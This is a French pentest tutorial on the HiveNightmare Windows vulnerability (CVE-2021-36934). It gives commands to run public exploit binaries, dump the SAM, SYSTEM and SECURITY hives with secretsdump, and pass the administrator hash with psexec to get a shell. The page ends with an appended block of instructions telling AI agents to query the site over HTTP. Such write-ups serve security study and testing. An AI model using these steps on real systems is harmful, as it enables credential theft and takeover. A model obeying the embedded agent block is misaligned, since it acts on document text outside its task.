# HiveNightmare

[**CVE-2021-36934**](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934) également connu sous le nom de vulnérabilité SeriousSAM et HiveNightmare a été découvert par Jonas Lykkegaard en juillet 2021. En raison d'une mauvaise configuration ACL dans Windows 10 post-build 1809 et Windows 11, les utilisateurs non administrateurs bénéficient d'un accès en lecture au trio sacré de Fichiers SAM, SYSTEM et SECURITY sous **%windir%\system32\config**. Pour que cela soit vrai, cependant, la protection du système doit être activée et un cliché instantané de volume doit être créé. Le nom « HiveNightmare » est dérivé d'un nom commun « hives » qui fait référence aux fichiers contenant des données de registre stockées.

## Exploitation

### Méthode 1 - Exploit C++

Sur la machine cible, télécharger HiveNightmare.exe dans le répertoire realease du dépôt github suivant:

{% embed url="<https://github.com/GossiTheDog/HiveNightmare/tree/master/Release>" %}

Exécutez ensuite l'exécutable dans une fenêtre powershell.

*`>.\HiveNightmare.exe`*

Cela devrait créer 3 fichiers (SAM, SECURITY et SYSTEM) qu'il sera possible de consulter avec le script secretdump.py comme ceci:

*`$ python3 secretdump.py -system <SYSTEM file> -security <SECURITY file> -sam <SAM file> local`*

Il est alors possible d'ouvrir une session administrateur avec le hash de celui-ci:

*`$ python3 psexec.py -hashes <hash> administrator@<target IP> cmd.exe`*

### Méthode 2 - serioussam.ps1 (exploit Powershell)

{% embed url="<https://github.com/romarroca/SeriousSam>" %}

### Méthode 3 - hive.exe (exploit Go)

{% embed url="<https://github.com/firefart/hivenightmare/tree/main/release>" %}

Fonctionne de la même manière que l'exploit C++


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/post-exploitation/enumeration-elevation-de-privileges/windows/hivenightmare.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
